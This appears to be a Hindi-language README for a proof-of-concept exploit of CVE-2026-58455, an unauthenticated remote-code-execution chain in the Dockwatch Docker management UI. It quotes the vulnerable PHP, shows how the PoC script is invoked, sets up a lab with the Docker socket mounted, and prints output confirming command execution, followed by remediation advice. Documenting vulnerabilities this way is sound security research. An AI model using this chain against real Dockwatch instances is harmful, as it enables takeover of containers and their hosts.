CVE-2026-58455 — Dockwatch बिना प्रमाणीकरण के RCE (प्रमाणीकरण बायपास + कमांड इंजेक्शन)

CVE-2026-58455 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: Dockwatch (Notifiarr द्वारा) में बिना प्रमाणीकरण के रिमोट कोड निष्पादन, जो एक सेल्फ-होस्टेड Docker कंटेनर प्रबंधन वेब UI है। 0.6.567 तक के सभी संस्करणों को प्रभावित करता है।

मूल कारण (स्रोत से सत्यापित)

तीन खामियाँ एक साथ जुड़ी हुईं:

1. बिना प्रमाणीकरण के सेशन फ्लैग सेट होना — GET /includes/header.php किसी भी विज़िटर के लिए $_SESSION['IN_DOCKWATCH'] = true; निष्पादित करता है। AJAX परत (ajax/shared.php) केवल इस फ्लैग की जाँच करती है।
2. प्रमाणीकरण रीडायरेक्ट के बाद exit() की कमी — loader.php जब $_SESSION['authenticated'] गलत होता है तो Location: login.php हेडर भेजता है लेकिन निष्पादन समाप्त नहीं करता, इसलिए अनुरोध का बाकी हिस्सा चलता रहता है।
3. OS कमांड इंजेक्शन — ajax/compose.php (m=composePull) अस्वच्छित इनपुट के साथ एक शेल कमांड बनाता है:
   root@kitploit:~

   $cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
   $pull = $shell->exec($cmd . ' 2>&1');
   

   आउटपुट HTTP प्रतिक्रिया में वापस प्रतिबिंबित होता है।

संयोजन से: एक बिना प्रमाणीकरण वाला रिमोट हमलावर कंटेनर के अंदर वेब सर्वर उपयोगकर्ता के रूप में मनमाना OS कमांड चलाता है। विशिष्ट परिनियोजन /var/run/docker.sock को कंटेनर में माउंट करते हैं → होस्ट पर रूट के बराबर।

उपयोग

python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888            # defaults

केवल Python 3 stdlib।

लैब (पुनरुत्पादन)

docker run -d --name dockwatch-lab -p 8888:80 \
  -v /var/run/docker.sock:/var/run/docker.sock \
  ghcr.io/notifiarr/dockwatch:v0.6.567

सत्यापित आउटपुट

$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
    uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)

निवारण

Dockwatch को 0.6.567 से नए संस्करण में अपडेट करें। शमन के रूप में, Dockwatch को अविश्वसनीय नेटवर्क पर एक्सपोज़ न करें और यदि आवश्यक न हो तो Docker सॉकेट बाइंड हटा दें।

अस्वीकरण

केवल अधिकृत सुरक्षा अनुसंधान और प्रयोगशाला उपयोग के लिए।